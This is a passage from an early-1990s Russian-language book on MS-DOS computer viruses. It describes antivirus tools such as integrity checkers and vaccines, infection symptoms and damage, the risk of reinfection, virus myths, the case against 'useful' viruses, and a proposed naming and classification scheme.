сторожей. Четвертый тип є это программы-ревизоры, которые подсчитывают контрольные суммы и другие параметры файлов и сравнивают их с эталонными. Последние обычно хранятся в отдельном файле. Этот вид контроля представляется наиболее надежным, т.к. при отсутствии в оперативной памяти резидентного компьютерного вируса позволяет выявить все измененные программы независимо от причины, вызвавшей эти изменения. Подобно остальным типам программ ревизоры могут быть резидентными. Последние загружают в память программу, подсчитывают ее контрольную сумму и, если она совпадает с записанной в специальном поле файла или элемента каталога данного файла, то передают ей управление. В противном случае выдается предупреждающее сообщение, и выполнение программы блокируется. Следует отметить, что если записать зараженную программу в файловую систему, все остальные файлы которой систематически контролируются ревизором, то наличие вируса может быть выявлено по заражению других программ для большинства, но не для всех типов вирусов. Поэтому очень важно, чтобы в момент запуска программы-ревизора было достоверно известно, что в оперативной памяти нет резидентного вируса. Этого можно достичь, загрузившись с эталонной, защищенной от записи, дискеты или разместив все компоненты операционной системы в разделе винчестера, имеющего статус READ ONLY. Более подробно вопросы применения антивирусных средств рассмотрены в главе 10. И, наконец, наиболее изощренным типом антивирусных программ являются так называемые вакцины. Подобно естественным вакцинам они изменяют среду функционирования вируса таким образом, что он теряет способность к размножению. Вакцины могут быть пассивные или ак- тивные. Пассивная вакцина представляет собой пакетную программу, которая за один вызов обрабатывает специальным образом файл или все файлы на диске либо в каталоге. Обычно при такой обработке проставляется признак, который вирус использует для того, чтобы отличить зараженные программы от незараженных. Например, некоторые вирусы дописывают в конец зараженных файлов определенную строку (скажем, "MsDos"). Если искусственно дописать в конец всех программ эту строку, то такие программы не будут заражаться вирусом, поскольку он будет считать, что они уже заражены. Обработанная таким образом программа является вакцинированной против данного вируса, причем операция вакцинации является обратимой: когда опасность заражения будет ликвидирована, строку можно из файла удалить. Другие вирусы проставляют в поле даты заражаемых программ значение секунд, равное 62 (MS DOS допускает запись такого явно нереального значения). Вакцина может проставить этот признак у всех выполняемых программ, которые тем самым будут защищены от заражения данным типом вируса. В этом случае вакцинирование является необратимым в том смысле, что восстановить первоначальное значение секунд не удастся, хотя они, конечно, могут быть сброшены. Активные вакцины являются резидентными программами, действие которых обычно основано на имитации присутствия вируса в оперативной памяти. Поэтому они обычно применяются против резидентных вирусов. Если такая вакцина находится в памяти, то когда при запуске зараженной программы вирус проверяет, находится ли уже в оперативной памяти его копия, вакцина имитирует наличие копии. В этом случае вирус просто передает управление программе-хозяину, и его инсталляция не происходит. Простейшие вакцины представляют собой выделенный и слегка модифицированный (лишенный способности к размножению) вирус. Поэтому они могут быть оперативно изготовлены, быстрее, чем программы-фаги. Более сложные вакцины (поливакцины) имитируют наличие в оперативной памяти нескольких вирусов. Конечно, приведенный список не исчерпывает всего многообразия антивирусных программ, хотя и охватывают основные их разновидности. Каждая из антивирусных программ подобна узкому специалисту в определенной области, поэтому оптимальной тактикой является комплексное применение нескольких типов антивирусных средств. Более подробно вопросы применения антивирусных средств рассмотрены в главе 10. Список отечественных антивирусных средств, распространяемых бесплатно и опубликованных в бюллетене СОФТПАНОРАМА, приведен в прил. 5. 2.6. Жизненный цикл компьютерных вирусов "Где начало того конца, которым оканчивается начало ?" Козьма Прутков Следует различать два основных действия (фазы), выполняемые компьютерным вирусом: размножение и проявление. Размножение обычно является первым и обязательным действием вируса при получении им управления. Фаза проявления, на которой выполняются несанкционированные действия, может чередоваться с размножением, начинаться через определенный (инкубационный) период или при сочетании некоторых условий. Она может заключаться в изощренных визуальных или звуковых эффектах, включать или исключительно состоять из нанесения повреждений файловой системе. Повреждения могут быть массированными, когда например, стирается FAT и другие системные блоки, или наоборот, распределенными, когда довольно часто выполняются небольшие, трудно обнаруживаемые повреждения. У ряда вирусов фаза проявления отсутствует, т.е. помимо размножения они никаких несан- кционированных действий не выполняют. В то же время, любой вирус обладает рядом побочных эффектов, которые не были предусмотрены при создании вируса, но которые фактически относятся к его проявлениям. Наиболее частым побочным эффектом является зависание операционной системы или потеря работоспособности некоторых (чаще всего резидентных) программ. Другим важным побочным эффектом является появление некоторых "необъяснимых" сообщений операционной системы. Например, если при попытке запуска программы с защищенной дискеты появлется хорошо знакомое любому пользователю MS DOS сообщение Abort, Retry..., то это должно настораживать. Наряду с указанными действиями, вирус может обладать определенной латентной фазой, в течение которой никаких действий по своему размножению или проявлению не предпринимается. Латентная фаза может быть обусловлена определенным временным периодом (например, определенным месяцем или годом), конфигурацией (например, вирус может активизироваться только при попадании на винчестер) или аппаратными особенностями (например, только на клонах IBM PC). Длина пути от первоначально зараженной программы до программы, в которой этот вирус был впервые обнаружен, может быть довольно большой. Практика показывает, что обычно в качестве первичного носителя вируса выступает популярная игровая программа или новая версия популярного программного продукта. Вопросы использования программных средств, затрудняющих или делающих невозможным размножение вируса, рассматриваются ниже. 2.7. Среда обитания вирусов Как уже указывалось выше, структурно компьютерный вирус можно представить состоящим из двух частей: головы и хвоста. Поскольку голова вируса так или иначе должна получить управление, "среда обитания" головы компьютерного вируса может располагаться только в прямо или косвенно исполняемых программах. Не следует бояться, что вирус может быть перенесен через файл данных. Применительно к MS DOS для получения управления вирус должен встроить свою голову в: загрузочные модули, такие как СOM-файлы, EXE-файлы, оверлейные фазы сегментированных программ (это наиболее распространенный случай и соответствующий тип вирусов будем называть файловыми); бутсектор (этот случай также встречается достаточно часто и соответствующие вирусы будем называть бутовыми); таблицу разделов винчестера (Partition Table), в начале которой содержится так называемый Master Boot (фактически это частный случай предыдущего и такая стратегия заражения может использоваться только применительно к винчестеру, т.е. комбинироваться с предыдущей); драйвер; объектный модуль; библиотеку компилятора; BATфайл; исходный текст программы на алгоритмическом языке (в расчете на его компиляцию); промежуточный код некоторого достаточно распространенного интерпретируемого языка, например dBASE или CLIPPER. Поэтому необходим постоянный контроль за целостностью информации, содержащейся в элементах перечисленных типов. Проще всего этот контроль выполнять с помощью специальной программы-ревизора. Что касается места, где вирус может расположить свою голову, то для существующих вирусов характерны следующие: область стека некоторой системной программы (RC-0-346); начало, конец или середина исполняемого файла; бутсектор; MBR. Поскольку хвост вируса не должен получать управление непосредственно, количество мест его расположения существенно больше и здесь многое зависит от изобретательности автора вируса. Сегментация в настоящее время характерна только для бутовых вирусов, и применительно к ним можно отметить следующие варианты расположения хвоста: один или группа кластеров, помеченных как сбойные (самый распространенный вариант); неиспользуемые блоки нулевой дорожки винчестере после MBR; неиспользуемые блоки системных таблиц, таких как FAT, главный каталог или один из подкаталогов и т.д.; специально созданный файл с атрибутами HIDDEN и/или SYSTEM; "хвосты" последних, заполненных частично, кластеров имеющихся файлов (например, системных); "дополнительные" дорожки на дискете или винчестере (например, 40 и более старшие дорожки дискеты). Для файловых вирусов сегментация может использоваться для размещения хвоста в неиспользуемых секторах последнего кластера файла, однако такой способ в настоящее время применяется только в вирусе RC-0-512 и, как оказалось, обладает существенными недостатками. В частности, команда COPY MS DOS не копирует информацию из неиспользуемых секторов последнего кластера. В результате при копировании зараженного файла хвост вируса теряется и скопированная программа становится неработоспособной. 2.8. Симптомы заражения "Если на клетке слона прочтешь надпись"буйвол", не верь глазам своим" Козьма Прутков Существуют определенные признаки, указывающие на поражение программы или диска вирусами. Помимо очевидных, связанных с демонстрационным эффектом, характерным для данного вируса, к ним можно отнести следующие: изменение длины командного процессора (COMMAND.COM); выдача сообщений типа WRITE PROTECT ERROR при чтении информации, при загрузке программ с защищенных от записи дискет; изменение длины и/или даты создания программы (их рекомендуется просматривать с помощью Norton Commander или другой оболочки, непосредственно интерпретирующей содержимое каталогов); программа выполняется медленнее, чем обычно; возрастание времени загрузки, зацикливание при загрузке; необъяснимые обращения к дискетам или файлам на защищенных разделах винчестра; потеря работоспособности некоторых резидентных программ или драйверов; аварийное завершение ранее нормально функционировавших программ; необъяснимые зависания или перезагрузки системы; уменьшение объема системной памяти или свободной памяти после загрузки. Резкое уменьшение доступной дисковой памяти, хотя файлы не добавлялись и не удалялись; появление новых сбойных кластеров, дополнительных скрытых файлов или других изменений файловой системы (выявляются запуском CHKDSK или другой подходящей утилиты); Конечно, приведенные признаки носят эвристический характер и могут наблюдаться на "здоровых" компьютерах по причинам, совершенно не связанным с вирусами. Тем не менее, появление каких-то аномалий должно сразу настораживать пользователя. Если после перезагрузки с защищенной дискеты некоторые из этих признаков исчезают, то есть смысл провести более или менее полное тестирование с помощью программы ревизора (только не при загруженной с винчестера и возможно зараженной операционной системе), а также визуально сравнить содержимое бутсектора и таблицы разделов с эталонными. Полезно также просмотреть дамп программы (с помощью Norton Commander, PC Shell или другой подходящей утилиты). Если в конце программы имеются подозрительные текстовые строки или, наоборот, нет ни одной текстовой строки, то такая программа заслуживает дополнительного исследования. 2.9. Вызываемые вирусами эффекты "Однажды мои соседи обнаружили у себя в квартире странные явле- ния: каждую ночь что-то упорно шелестело в мусорном ведре, и каждое утро отходы обнаруживались в самых не подходящих местах. Стали исчезать картошка, лук... Крысы! - мелькнула догадка." Газета "Красная Пресня", апрель 1990 г. Как уже указывалось, компьютерные вирусы являются одной из разновидностей компьютерного вандализма. Вызываемые вирусами эффекты могут быть классифицированы по следующим основным категориям: 1) отказ в выполнении той или иной функции (например, блокирование вирусом RС-1701 загрузки программы с защищенной от записи дискеты); 2) выполнение действий, не предусмотренных программой (например, изменение данных в каком-то файле); 3) разрушение отдельных файлов, управляющих блоков или всей файловой системы в целом (форматирование диска, удаление файла и т.д.); 4) выдача ложных, раздражающих или отвлекающих сообщений (например, "Скажи бебе" или "Non system disk"); 5) создание звуковых или визуальных эффектов (например, падение букв в вирусе RС-1701, замедление выполнения программ в вирусе RСЕ-1813, проигрывание мелодии в RCE-1805, движущийся на экране ромбик в Bx1-1C и т.д.); 5) инициирование ошибок или сбоев в программе или операционной системе (например, переполнение стека), перезагрузка или зависание MS DOS; 6) блокирование доступа к системным ресурсам (разрастание зараженных файлов за счет их многократного повторного заражения, невозможность передать зараженной программе параметры, замедление работы компьютера путем выполнения холостого цикла из нескольких команд при каждом прерывании таймера); 7) имитация сбоев аппаратуры (перевод части кластеров в "псевдосбойные" на дискете или винчестере, зависание ЭВМ через некоторое время после перезагрузки операционной системы и т.д.); 8) ускорение износа оборудования или попытки его порчи. Наносимый вирусами ущерб может иметь катастрофический характер (например, уничтожение винчестера) в сочетании с длительным "инкубационным периодом" или, наоборот, вирус может наносить мелкие, трудно обнаруживаемые повреждения данных, выполняемые достаточно часто. Последние гораздо труднее обнаружить и поэтому, в отличие от распространенного мнения, они намного опаснее массированного разрушения данных. Наиболее уязвимой частью файловой системы DOS является FAT (таблица размещения файлов). Если FAT разрушен, то DOS не в состоянии определить местонахождение того или иного файла, хотя сами файлы не повреждены. Вирус может также выполнять форматизацию некоторых участков диска, содержащих системные данные. Поэтому необходимо достаточно часто дублировать управляющие данные файловой системы на другой, заранее известный участок диска или дискету. Для этой цели, в частности, можно использовать Norton Utilities, а также Mirror из пакета PC Shell. На компьютерах типа АТ данные о конфигурации системы (тип установленного винчестера и др.) хранятся в небольшой энергонезависимой памяти (CMOS). Уничтожение содержимого CMOS-памяти приводит к невозможности загрузиться с винчестера. Восстановление CMOS требует знания подробных технических данных о винчестере. Поэтому этот тип памяти также является потенциальным объектом атаки вируса. Как уже отмечалось, наиболее опасны как раз не катастрофические повреждения винчестера или дискет (при адекватном архивировании это означает максимум потерю одного дня работы), а мелкие, неза- метные изменения файлов данных. В частности, известен вирус, который ищет файлы типа DBF, и найдя внутри файла числовое поле, меняет местами две рядом стоящие цифры. По степени разрушительности вирусы можно условно разделить на два типа: "иллюзионисты" (RC-1701, RCE-1805, RСE-2885, Bx1-1C) и "вандалы" (C-648, RСE-1800, Dx3-E9, RC-496). Основным приоритетом при конструировании "иллюзионистов" является демонстрация какогонибудь экзотического звукового (например, вирусы RCE-1805, RCE2885) или визуального эффекта типа бегающего шарика (например, вирус Bx1-1C), осыпающихся букв (вирус RC-1701) и т.д. В качестве основного приоритета пpи констpуиpовании "вандалов" является обеспечение как можно более скрытого размножения, с тем чтобы фазе разрушения (детонации), уничтожающей и зараженный файл (дискету) с данным экземпляром вируса (при разрушении таблицы FAT, форматизации и других подобных действиях), предшествовало определенное число незамеченных размножений. При этом наблюдается интересная взаимосвязь, на которую обратил внимание автора Л.И.Обухов: если вирус демонстрирует нетривиальный визуальный или звуковой эффект, то скорее всего он не выполняет массированного разрушения данных. Поэтому, если неизвестный вирус демонстрирует какой-то изощренный эффект, то повышаются шансы на то, что он не выполняет массированных разрушений файловой системы. Психологически, примитивный вандализм типа разрушения файлов или форматирования диска, наверное, в большей степени присущ примитивным личностям, страдающим комплексом неполноценности, но неспособным на конструктивную деятельность. Ведь давно замечено, что "ломать є не строить": хотя написание вируса в современных условия нельзя называть конструктивной деятельностью, все же встроить в вирус программу разрушения FAT значительно проще, чем программу падения букв на экране дисплея. 2.10. Повторное заражение "Сожрали с аппетитом ядовитый порошок Четыре неразлучных таракана и сверчок" Из популярной песни 60-х годов Компьютерные вирусы "бессмертны" и могут неограниченное время храниться в различного рода архивах. Даже "полностью уничтоженные" вирусы могут сохраниться в каком-нибудь архивном файле и случайно или умышленно "реанимироваться" через много месяцев или даже лет после их первоначального обнаружения и уничтожения. Из этого следует важный вывод, что после первого обнаружения и уничтожения вируса следует ожидать повторных заражений. Таким образом, после появления определенного вируса необходимы специальные меры по предотвращению повторных заражений. Здесь можно двигаться в двух направлениях: во-первых, постараться найти первоисточник заражения, и во-вторых, разработать или установить программы, затрудняющие (сторожа) или делающие невозможным (вакцины) размножение вируса. Опасность повторного заражения особенно велика, если дезинфекция проведена наспех, без тщательной проверки всего объема используемых программ и имеющихся архивов, а также если доступ к компьютеру имеют случайные или неквалифицированные пользователи. Как уже отмечалось выше, особую опасность в этом смысле представляют собой любители компьютерных игр. 2.11. Вирусофобия и попытки ее эксплуатации "Трусоват был Ваня бедный" А.С.Пушкин Следует отметить, что в ряде организаций само появление нового вируса вызывает панику, парализуя работу на несколько дней. При отсутствии специалистов в процессе борьбы с попавшим вирусом зачастую выполняется огромный объем ненужной работы, например, переформатирование винчестера. В процессе выгрузки и загрузки информации пользователи сами могут в спешке уничтожить важную информацию. Поскольку в таких организациях руководство обычно слабо представляет себе принципы действия и эффекты, вызываемые этим классом программ, у программистов появляется возможность использовать вирусы как "отходной вариант" для объяснения каких-то трудностей или причин срыва сроков. Варианты объяснений могут варьироваться от самых примитивных ("Я все сделал(а), а потом пришел вирус и все уничтожил"), до вполне квалифицированных. Далеко не все повреждения файловой системы, отказы винчестера или оборудования вызываются вирусами. Например, некоторые типы винчестеров имеют довольно низкую надежность и "сыпятся" без всякого вмешательства вирусов. Имеются компьютеры, которые можно загрузить, только дав им прогреться в течении получаса. Автору приходилось работать на дефектном венгерском дисководе ПЭВМ ЕС 1840, который не только фрезеровал дискеты, но и при записи иногда стирал FAT. Причем восстановить поврежденный FAT при помощи известной утилиты Norton Disk Doctor не удавалось. Общеизвестно, что многие отечественные компьютеры и без всяких вирусов регулярно зависают. В то же время имеется тенденция атрибутировать любое повреждение данных присутствием вируса. Это по сути один из вариантов мании ("вирусомания"), которая подобно печально известной шпиономании ("шпионы под каждой кроватью") имеет социально-психологическую этиологию. Первыми пользу из "вирусомании" научились извлекать электронщики: если компьютер барахлит, а им лень разбираться, то в ход пускается неотразимый аргумент: "Это у вас какой-то вирус". 2.12. О возможности повреждения оборудования компьютерными вирусами "То тарелками пугают..." В.Высоцкий Одним из проявлений вирусофобии следует считать слухи о вирусах, повреждающих оборудование. Вопрос о возможности повреждения оборудования автору задавали практически на каждой прочитанной им лекции. Дейcтвительно, хотя большинство повреждений, наносимых вирусом, относятся к данным, возможны также повреждения оборудования. Например, можно повредить участок люминофора ("выжечь пятно") на монохроматическом мониторе, используя особенности схемы управления. Однако для цветного монитора это сделать невозможно. Ходят упорные слухи о каких-то коварных вирусах, якобы вводящих в резонанс головки винчестера. К сожалению эти слухи проникают и в "околовирусные" публикации [Основский90]. Такая мифотворческая тенденция наверно возникает в связи с любым малоизученным и потенциально опасным явлением. Следует учитывать также благоприятный для такого рода слухов социальный фон: сейчас в обществе оживился интерес ко всякого рода магии и "чудотворцам". Некоторые из них ухитряются даже заговаривать воду по телевизору. По сравнению с водой, заговоренной по телевизору, вирус, прожигающий дыру в экране или даже в клавиатуре, выглядит предельно правдоподобно. Более того, автор не видит причин, почему многие из классических русских сказок нельзя было бы "модернизировать", сделав одним из персонажей злой компьютерный вирус и соот- ветствующим образом приспособив сюжетную канву. Со временем, когда компьютеры появятся во многих семьях, такие сказки, возможно, будут интереснее ребенку, чем традиционные варианты с Бабой Ягой, Кощеем Бессмертным и добрым молодцем. 2.13. Легенды о полезных вирусах "Как часто мы промахиваемся еще при выборе цели!" Виктор Власов Идея о том, что "подобное излечивается подобным", распространенная среди средневековых знахарей, периодически реанимируется применительно к компьютерным вирусам. Она принимает несколько основных форм, которые мы разберем последовательно. Первой по распространенности является идея создания "вируса-защитника" є вирусоподобной программы защиты. Следует отметить, что эта идея использования для борьбы c вирусом другого вируса носится в воздухе с момента появления первых вирусов, т.е. примерно с 1984 года (см. главу 1). Исторически, первые фаги создавались именно как вирусы, охотящиеся на тот или иной вирус. Ничего хорошего из этого не получилось. Опыт показал, что распространение вирусаохотника существенно медленнее, чем вируса, за которым охотятся, и эффективность такой погони невелика. Эта идея весьма неудачна и в других своих модификациях. Например, часто предлагается вариант "вируса-контролера", который при заражении программы подсчитывает и запоминает ее контрольную сумму. Тогда при запуске зараженной программы вирус подсчитывал бы контрольную сумму файла, из которого она была считана, и при несовпадении сигнализировал бы о заражении. Вообще говоря, отсутствие подобной проверки є это серьезный дефект MS DOS, и исправлять его стоит именно на уровне операционной системы. Однако тотальное заражение "вирусом-контролером" неизбежно ведет к потере работоспособности части программ. Кроме того, заражение всех программ таким "контролирующим" вирусом неизбежно приведет к увеличению размеров программ, причем заметному, поскольку каждой исполняемой программе придется сделать прививку. Если на диске 20M хранится, скажем, 1000 программ и размер прививки составляет 1024 байта, то получается, что в среднем теряется мегабайт дискового пространства. Реально, учитывая квантование дискового пространства по кластерам, эти потери могут оказаться и больше, в особенности, если на диске записано много программ, близких к размеру кластера. Кроме того, процесс поиска очередной "жертвы" не так прост, и будет занимать некоторое время, замедляя загрузку программы. Поэтому закрывать эту "дыру" предпочтительнее с помощью маленькой резидентной программы, перехватывающей прерывание 21-4B. Возможно, перехват следует выполнить сплайсингом, т.е. врезкой команды JMP в оригинальный обработчик этой команды с тем, чтобы исключить возможность того, что вирус предварительно перехватит 21 прерывание. Кстати, перехватить 21 прерывание вирусу можно просто не дать, как бы он не старался (на этой идее основаны сторожа CHECK21 и SBM є см. прил.5). Получив управление, эта "заплатка" должна проверять контрольную сумму. Для COM-файлов достаточно проверить первый блок, а для EXE-файлов є заголовок и блок, куда передается управление. При этом для COM-файлов контрольную сумму можно хранить в неиспользуемых байтах оглавления, а для EXE є в соответствующем поле заголовка. Метод подсчета контрольной суммы должен быть параметризуемым. Кстати, аналогичным способом можно закрыть другую "дыру" в MS DOS, связанную с тем, что снятие атрибута READ ONLY не требует подтверждения оператора. При этом можно предусмотреть воз- можность отключения выдачи запроса с помощью специального, задаваемого пользователем, пароля. Другой идеей, связанной с поисками "полезных" применений компьютерных вирусов, является автоматическое преобразование программы в какую-то более приемлемую форму. Наиболее часто при этом предлагается автоматическое сжатие программы. Действительно, имеется ряд программ, выполняющих сжатие EXE-файлов, наиболее удачной среди которых является LZEXE, которая обеспечивает экономию порядка 30% на каждом EXE-файле при очень высокой скорости распаковки (практически не увеличивая время загрузки). Идее применить для этой цели вирус уже более 15 лет и она высказывалась еще Ф.Коэном для обоснования своих работ. Теоретически здесь вроде бы "все чисто". Вирус, заражая программы, свертывает их с помощью какого-то метода, а при запуске развертывает. Однако с практической точки зрения эта идея не выдерживает никакой критики. Дело в том, что включаемый в сжатые программы распаковщик должен иметь минимальную длину (600 байтов для LZEXE), что в случае вируса обеспечить невозможно. Более правильным подходом к реализации идеи сжатия информации на диске, если уж добиваться "тотального" ее осуществления, является написание специального дискового драйвера, который во-первых, не включается в сжатую программу, а во-вторых, может сжимать не только исполняемые файлы, а и все файлы, помеченные определенным атрибутом. Кстати, такие драйверы были реализованы и успешно применяются. Однако широкое их распространение сдерживает тот факт, что достигаемый эффект составляет порядка 20%, т.е. невелик и не компенсирует все возникающие при этом сложности и неудобства. Есть все основания предполагать, что для "вируса сжатия" общий эффект будет отрицательным, поскольку на каждой программе вирус должен экономить не менее 12-16К (размер одного кластера, скажем, 4К + собственный размер вируса, который для этого довольно сложного вируса вряд ли составит меньше 8К), что для программ, меньших 64K, т.е. для всех COM-файлов, практически нереально. Кроме того, если не прибегать к каким-то ухищрениям, то вирусу придется хранить в сжатой программе и достаточно объемную программу упаковки, которая там совершенно не нужна, но которую нельзя выкинуть, т.к. иначе вирус теряет способность к размножению. Ну и наконец, поскольку часть программ при сжатии теряет работоспособность, то неясно как предохранить такие программы от заражения. Конечно, не исключены и какие-то другие возможные приложения "полезного" вируса, однако такая форма коммуникации программ должна учитываться уже при разработке операционной системы, а экспериментирование должно быть ограничено лабораторными экспериментами на новых операционных системах. Возможно, что "вирусоподобные" программы окажутся полезными в каких-то узких областях системного программирования. Нельзя бросаться в "запретительство" только потому, что в MS DOS вирусы создают серьезные проблемы. В то же время автор убежден, что безвредных вирусов для MS DOS, как и для любой операционной системы, ориентированной на широкий круг пользователей, принципиально не существует. По определению, процесс размножения вируса неконтролируем (иначе это, строго говоря, не вирус). Если операционная система широко используется, то она неизбежно будет "мигрировать" с одного компьютера на другой, попадая туда, где ее совсем не ждали. А возникающая в ряде организаций при обнаружении нового вируса паника зачастую наносит больший ущерб, чем сам вирус, парализуя работу на несколько дней. Как бы ни была прививка тщательно написанной, неизбежно окажется, что она вызывает потерю работоспособности части программ, какие-то тонкие взаимодействия с другими резидентными программами. В общем, пользователей ожидают приключения. А ведь лекарство не должно быть опаснее, чем болезнь. Принципиальной проблемой любой реализации "полезного" вируса является его переносимость. В силу своей природы вирусы сильно зависят от версии операционной системы є значительно больше, чем обычные программы. Опыт показал, если зараженная вирусом программа ра- ботоспособна в версии 3.3, то это совсем не означает, что она окажется работоспособной в версии 4.0 или даже в версии 3.3 с нестандартным командным процессором. В особенности плохо дело обстоит с резидентными программами, которые часто после заражения теряют работоспособность. А ведь развитие операционной системы может продолжаться десятилетиями. Получается, что при получении новой версии операционной системы все программы нужно срочно лечить, затем доставать новый штамм и заражать повторно. В общем, вопросов здесь явно больше, чем ответов. И, наконец, последний аргумент в пользу ограничения экспериментов по созданию "полезных" вирусов специализированными операционными системами связан с тем, что по определению "полезный" вирус будет распространяться свободно. Тем самым, доступность механизма размножения (центральной части любого вируса), делает его общедоступной базой для совсем небезобидных экспериментов. В частности, он легко может быть модифицирован злоумышленником в троянскую программу, которая, скажем, защищая от некоторых вирусов, сама периодически стирает FAT. Накопленный автором опыт изучения вирусов позволяет сделать вывод о том, что в существующих вариантах любой вирус является опасной программой, неизбежно вызывающей побочные эффекты. Последние связаны либо с повреждением заражаемых программ, либо с нарушением функционирования операционной системы. Если сравнивать переносимость вирусов с переносимостью резидентных программ, то обычно вирусы в большей степени зависят от версии операционной системы. При размножении в среде отличной от "естественной" (например, более поздняя версия операционной системы или нестандартный командный процессор) вирусы, как правило, вызывают дополнительные побочные эффекты вплоть до зависания операционной системы. Учитывая высказанные доводы трудно не прийти к мнению о том, что "безвредных" вирусов не существует, а эксперименты по их созданию для MS DOS связаны со значительным риском "выпустить джинна из бутылки". 3. КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ "Я никаким насекомым не радуюсь, потому что я их боюсь,є призналась Алиса. є Є Но я могу вам сказать, как их зовут." "А они, конечно, идут, когда их зовут?" є небрежно заметил Комар. "Нет, кажется, не идут." "Тогда зачем же их звать, если они не идут?" "Им это ни к чему, а нам все-таки нужно. Иначе зачем вообще знать, как что называется" Льюис Керрол Cерьезность и долговременный характер проблемы защиты от компьютерных вирусов уже практически ни у кого не вызывают сомнений. Поэтому необходимо организовать оперативный обмен информацией по данной проблеме и наладить взаимодействие работающих в этой области специалистов. Это, в свою очередь, требует решения ряда подзадач, одной из которых является выработка стандартной классификации компьютерных вирусов. Стандартная классификация существенно облегчает накопление и распространение знаний в любой области, и компьютерные вирусы не являются исключением. Применительно к компьютерной вирусологии она помогает решению такой важной задачи, как однозначное определение типа обнаруженного вируса. При этом должен использоваться ограниченный набор сравнительно простых и непротиворечивых признаков, не требующих проведения глубокого анализа зараженных программ и элементов операционной системы. Существующие в настоящее время классификации, как правило, основаны на "кличках" є распространенных среди программистов названиях, отражающих то или иное свойство вируса. Анализируя имеющиеся неформальные названия, можно выявить четыре основные тенденции их образования. Первая основана на указании места обнаружения или разработки вируса (Lehigh, Jerusalem, Vienna, Alameda), вторая є на содержащихся в теле вируса текстовых строках (Vacsina, Eddie, Dark Avenger, Disk Killer, sUMsDos), третья є на вызываемом вирусом эффекте (Time Bomb, DOS-62, Cascade, Black Fridaу) и наконец, четвертая є на длине тела вируса или на приращении длины файла при заражении (524, 648, 1800, 2000 и т.д.). При этом один и тот же вирус может иметь множество названий, и новое название, использованное разработчиком той или иной антивирусной программы, далеко не всегда соответствует новому вирусу. Для широко известных вирусов перечень названий напоминает список имен арабского шейха. Например, автор встречал более десяти названий вируса, обнаруженного в декабре 1987 года в Иерусалимском уни- верситете (RСE-1813 по предлагаемой ниже классификации), среди которых три: Israeli virus (Израильский), Jerusalem (Иерусалим) и PLO (ООП) є относятся к первому типу, два названия (sUMsDos и sU) є ко второму типу, и, наконец, еще четыре: Black Hole (Черная дыра), Black Friday (Черная пятница), Friday 13 (Тринадцатая пятница) и Вирус замедления є к третьему типу (данный вирус "вырезает" в левом углу экрана черную дыру, удаляет все запускаемые файлы по пятницам, пришедшимся на 13 число и, кроме того, примерно через 20 мин. после запуска зараженной программы искусственно замедляет работу компьютера в несколько сотен раз). Конечно же, такое многообразие названий создает определенные затруднения, особенно если учитывать, что данный вирус имеет несколько отличающихся по деталям функционирования штаммов. Поэтому необходим какой-то выход из создавшейся ситуации. На определенном этапе среди разработчиков антивирусных средств наблюдалась стихийная тенденция к использованию в качестве основных названий, применяемых известным зарубежным полидетектором SCAN (фирма McAfee Associates, США); однако он, естественно, запаздывает с классификацией болгарских вирусов, не говоря уже о вирусах отечественного изготовления. Поэтому набор обнаруживаемых им вирусов не соответствует советским условиям, а используемые строки для контекстного поиска (сигнатуры) часто неудачны (например, дают много ложных срабатываний). При этом для ранних версий SCAN неоднократно наблюдались случаи, когда наиболее актуальные для нас вирусы могут классифицироваться неверно (как это было с подгруппой Vacsine группы ТР-вирусов) или попадали в две группы сразу (например, Vacsine и Yankee Doodle). В последнем случае создавалось ложное впечатление о том, что файл заражен двумя вирусами сразу. Кроме того, недавно появился другой достаточно мощный полидетектор TNTVIRUS (фирма CARMEL Software Engineering), в котором в ряде случаев используются другие названия. Не исключено, что будет третий, четвертый и т.д. Поэтому необходим какой-то менее субъективный и учитывающий нашу информационную изолированность (отсутствие сетей, слабое развитие и низкое качество телефонной связи) подход. 3.1. Принцип построения классификации По мнению автора, основным требованием к приемлемой для всех классификации является ее объективность, т.е. классификация должна основываться на фиксированном наборе непротиворечиво измеряемых или наблюдаемых признаков. В идеальном случае эти признаки должны быть выбраны так, чтобы, скажем, два разработчика антивирусных средств, независимо работающих в Киеве и Москве, использовали одно и то же название для одинаковых вирусов и разные названия для разных вирусов. Это обеспечивало бы быстрое выявление новых штаммов вирусов и новых, еще не исследованных, разновидностей. Очевидно, что объективная классификация существенно облегчает систематизацию, распространение и накопление знаний, а также выбор программных средств для борьбы с тем или иным вирусом. Однако важно не только наличие классификации как таковой, а и принятие ее в качестве стандартной. Уже сейчас отсутствие стандартной классификации приводит к ряду нежелательных эффектов. Во-первых, у разработчиков наблюдается тенденция по-своему называть обнаруженный или сравнительно малораспространенный вирус, а в дальнейшем продолжать использовать собственное название (см., например, документацию к полифагу Aidstest Д.Н.Лозинского). В результате получается, что каждый разработчик антивирусных средств использует в определенной степени свою уникальную классификацию. Поэтому для пользователей, столкнувшихся с вирусом, необнаруживаемым тем или иным детектором или полифагом, часто неясно, относится ли он к какой-то разновидности (один основной тип вируса обычно представлен рядом штаммов со сходными, но не идентичными свойствами) уже известного вируса, что дает возможность в значительной степени предсказать его свойства, или это совершенно новый, еще не исследованный, вирус. Во-вторых, у самих пользователей наблюдается тенденция аппроксимировать общее количество вирусов общим количеством названий, используемых в имеющемся у них наборе средств защиты и прежде всего программ-фагов (т.е. программ, "выкусывающих" тело вируса из зараженной программы, там самым восстанавливая ее в работоспособном и близком к первоначальному состоянии). Такая аппроксимация приводит к существенной переоценке общего количества имеющихся компьютерных вирусов, однако человек быстро "рационализирует" этот факт путем разбиения одного реального вируса на несколько "виртуальных", приписывая каждому свой набор признаков. Так, автору приходилось сталкиваться с "самодельной" классификацией, в которую вирусы С-648 и RСE-1813 входили в двух "ипостасях" каждый, причем второй ипостаси вируса С-648 приписывались черты вируса RСE-1813 (замедление работы компьютера). В процессе чтения лекций и проведения семинаров по данной проблеме автором была выработана схема классификации, включающая три основных элемента: код вируса (несколько напоминающий схему классификации транзисторов); дескриптор вируса (формализованный список основных свойств); сигнатуру вируса (строка для контекстного поиска данного вируса в зараженной программе). Классификационный код вируса. В предлагаемой схеме каждому вирусу присваивается код, состоящий из буквенного префикса, количественной характеристики и факультативного буквенного суффикса. Например, в коде RCE-1813c RСE є префикс, 1813 є корень (характеристика), а c є суффикс. Главным требованием к классификационному коду вируса является возможность определения большинства входящих в него свойств на незараженном компьютере. Выполнение каких-либо действий по исследованию вируса на зараженном компьютере является наиболее распространенной и одновременно наиболее грубой ошибкой, которую допускают неопытные пользователи. Следует подчеркнуть, что любые действия на компьютере, зараженном неизвестным вирусом, сопряжены с определенным риском вызвать 